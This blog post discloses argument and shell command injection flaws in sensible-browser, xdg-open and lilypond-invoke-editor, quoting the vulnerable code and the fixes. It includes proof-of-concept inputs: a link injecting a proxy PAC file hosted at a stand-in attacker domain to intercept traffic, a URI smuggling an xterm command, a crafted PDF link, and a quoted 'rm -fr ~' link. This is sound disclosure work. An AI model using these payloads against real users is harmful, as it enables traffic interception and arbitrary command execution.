/dev/posts/

Argument and shell command injections in browser invocation

Published:

Updated:

I found an argument injection vulnerability related to the handling of the BROWSER environment variable in sensible-browser. This lead me (and others) to a a few other argument and shell command injection vulnerabilities in BROWSER processing and browser invocation in general.

Overview:

Table of content

The BROWSER variable environment

The BROWSER environment variable is used as a way to specify the user's preferred browser. The specific handling of this variable is not consistent across programs:

As was already noted in 2001, naively implementing support for this environment variable (and especially the %s expansion) can lead to injection vulnerabilities:

Eric Raymond has proposed the BROWSER convention for Unix-like systems, which lets users specify their browser preferences and lets developers easily invoke those browsers. In general, this is a great idea. Unfortunately, as specified it has horrendous security flaws; documents containing hypertext links like ; /bin/rm -fr ~ will erase all of a user's files when the user selects it!

In contrast, the .desktop file specification clearly specifies how argument expansion and word splitting is supposed to happen when processing .desktop files in a way which is not vulnerable to injection attacks.

Argument injection in sensible-browser (CVE-2017-17512)

The vulnerability

sensible-browser is a simple program which tries to guess a suitable browser to open a given URI. You call it like:

sensible-browser http://www.example.com/

and it ultimately calls something like:

firefox http://www.example.com/

The actual browser called depends on the desktop environment (and its configuration) and some environment variables.

While trying to understand how I could configure the browser to use, I found this snippet:

if test -n "$BROWSER"; then
  OLDIFS="$IFS"
  IFS=:
  for i in $BROWSER; do
      case "$i" in
          (*%s*)
          :
          ;;
          (*)
          i="$i %s"
          ;;
      esac
      IFS="$OLDIFS"
      cmd=$(printf "$i\n" "$URL")
      $cmd && exit 0
  done
fi

The idea is that when the BROWSER environment variable is set, it is taken as a (colon-separated) list of browsers which are tried in turn. Morever if %s in present in one of the browser strings, it is replaced with the URI.

The problem is that if $URL contains some spaces (or other IFS characters) the URL will be split in several arguments.

The interesting lines are:

cmd=$(printf "$i\n" "$URL")
$cmd && exit 0

An attacker could inject additional arguments in the browser call.

For example, this command opens a Chromium window in incognito mode:

BROWSER=chromium sensible-browser "http://www.example.com/ --incognito"

One could argue that this URI is invalid and that this is not a problem. However, if the caller of sensible-browser does not properly validate the URI, an attacker could craft a broken URI which when called will add extra arguments when calling the browser.

A suitable caller

Emacs might call sensible-browser with an invalid URI.

First, we configure it to use open links with sensible-browser:

(setq browse-url-browser-function (quote browse-url-generic))
(setq browse-url-generic-program "sensible-browser")

Now, an org-mode file like this one will open Chromium in incognito mode:

[[http://www.example.com/ --incognito][test]]

Note: I was able to trigger this with org-mode 9.1.2 as shipped in the in Debian elpa-org package. This does not happen with org-mode 8.2.10 which was shipped in the emacs25 package.

MITMing the browser

This particular example is not very dangerous and the injection is easy to notice. However, other injected arguments can be more harmful and more insiduous.

Clicking on the link of this Emacs org-mode file launches Chromium with an alternative Proxy Auto-Configuration (PAC) file:

[[http://www.example.com/ --proxy-pac-file=http://dangerous.example.com/proxy.pac][test]]

Nothing is notifying the user that an alternative PAC file is in use.

An attacker could use this type of URI to forward all the browser traffic to a server under their control and effectively MITM all the browser traffic:

function FindProxyForURL(url, host)
{
  return "SOCKS mitm.example.com:9080";
}

Of course, for HTTPS websites, the attacker still cannot MITM the user unless the users accepts a bogus certificate.

Alternatively, you can simply pass a --proxy-server argument to set a proxy without using a PAC file.

Update 2023-06-08: another options it to use chrome --gpu-launcher="command" for arbitray code execution.

Fixing the vulnerability

A possible fix would be for sensible-browser to actually check that the URL parameter does not contain any IFS character.

The fix currently deployed is to remove support for %s-expansion altogether (as well as support for a list of browsersin the BROWSERvariable):

if test -n "$BROWSER"; then
    ${BROWSER} "$@"
    ret="$?"
    if [ "$ret" -ne 126 ] && [ "$ret" -ne 127 ]; then
        exit "$ret"
    fi
fi

References

Argument injection in xdg-open (CVE-2017-18266)

The vulnerability

xdg-open is similar to sensible-browser. It opens files or URIs with some programs depending on the desktop-environment. In some cases, it falls back to using the BROWSER environment variable:

open_envvar()
{
    local oldifs="$IFS"
    local browser browser_with_arg

    IFS=":"
    for browser in $BROWSER; do
        IFS="$oldifs"

        if [ -z "$browser" ]; then
            continue
        fi

        if echo "$browser" | grep -q %s; then
            $(printf "$browser" "$1")
        else
            $browser "$1"
        fi

        if [ $? -eq 0 ]; then
            exit_success
        fi
    done
}

The interesting bit is:

$(printf "$browser" "$1")

This line is vulnerable to argument injection like the sensible-browser case.

This bug was reported in the xdg-utils bugtracker as bug #103807.

Fixing the vulnerability

I proposed this very simple fix:

if echo "$browser" | grep -q %s; then
  # Avoid argument injection.
  # See https://bugs.freedesktop.org/show_bug.cgi?id=103807
  # URIs don't have IFS characters spaces anyway.
  has_single_argument $1 && $(printf "$browser" "$1")
else
  $browser "$1"
fi

where has_single_argument() is defined has:

has_single_argument()
{
  test $# = 1
}

Another (better) solution currently shipped in Debian is:

url="$1"
if echo "$browser" | grep -q %s; then
  shift $#
  for arg in $browser; do
    set -- "$@" "$(printf -- "$arg" "$url")"
  done
  "$@"
else
  $browser "$url"
fi

References

Shell command injection in lilypond (CVE-2017-17523, CVE-2018-10992)

I started checking if the same vulnerability could be found in other programs using Debian code search. This led me to lilypond-invoke-editor.

The vulnerability

This is a helper script expected to be set as a URI handler in a PDF viewer. It handles some special lilypond URIs (textedit://FILE:LINE:CHAR:COLUMN). It forwards other URIs to some real browser using:

(define (run-browser uri)
  (system
   (if (getenv "BROWSER")
       (format #f "~a ~a" (getenv "BROWSER") uri)
       (format #f "firefox -remote 'OpenURL(~a,new-tab)'" uri))))

The scheme system function is equivalent to the C system(): it passes the argument to the shell (with sh -c).

This case is worse than the previous ones. Not only can an attacker inject extra arguments (provided the caller can pass IFS chracters) but it is possible to inject arbitrary shell commands:

BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/ & xterm"

It even works with valid URIs:

BROWSER="chromium" lilypond-invoke-editor "http://www.example.com/&xterm"

We can generate a simple PDF file which contains a link which calls xterm through lilypond-invoke-editor:

1 0 obj
<</Type/Page/Parent 5 0 R/Resources 12 0 R/MediaBox[0 0 595.275590551181 841.861417322835]/Annots[
4 0 R ]
/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>
endobj

% ...

4 0 obj
<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(http://www.example.com/&xterm)>>
>>
endobj

Clicking on the link from mupdf invokes the xterm command when using lilypond-invoke-editor:

BROWSER="lilypond-invoke-editor" mupdf xterm-inject.pdf

Fixing the vulnerablity

The current fix in Debian is:

(define (run-browser uri)
  (if (getenv "BROWSER")
        (system*
          (getenv "BROWSER")
          uri)
          (system*
            "firefox"
            "-remote"
            (format #f "OpenUrl(~a,new-tab)" uri))))

system* is similar to posix_spawnp(): it takes a list of arguments and does something like fork(), execvp() and wait() (without going through a shell interpreter).

References

Similar vulnerabilities

Someone apparently took over the job of finding similar issues in other packages because a whole range of related CVE has been registered at the same time:

Some of them are disputed. I will look at some of them in a next episode. The summary of the next episode is that not all of them are valid.

Analysis

These vulnerabilities can be split in two classes.

Argument injection

Argument injection can happen when IFS present in the URI are expanded into multiple arguments. This usually happen because of unquoted shell expansion of non-validated strings:

my-command $some_untrusted_input

IFS characters are not in valid URIs so if the URI was already validated somehow in the caller this is not be an issue. As we have seen, some caller might not properly validate the URI string.

Shell command injection

Shell command injection can happen when shell metacharacters ($, <, >, ;, &, &&, |, ||, etc.) found in the URI are passed without proper escaping to the shell interpreter:

A typical example would be be (in Python):

os.system("my-command " + url)

Or in shell:

eval my-command "$url"

In some cases, some escaping is done such as in gjots2:

os.system(browser + " '" + url + "' &")

This simple quoting is not enough however because you can escape out of it using single-quotes in the untrusted input. If you want to to that, you need to properly escape quotes and backslashes in the input as well:

os.system("{} {} ".format(browser, shlex.quote(url)))

Using system() is often a bad idea and you would better use:

For example, the previous example could be rewritten as:

os.spawnvp(os.P_WAIT, browser, [browser, url])

Some of the shell metacharacters (&, ;, etc.) can be present in valid URIs (eg. http://www.example.com/&xterm) so even a proper URI validation does not protect against those attacks.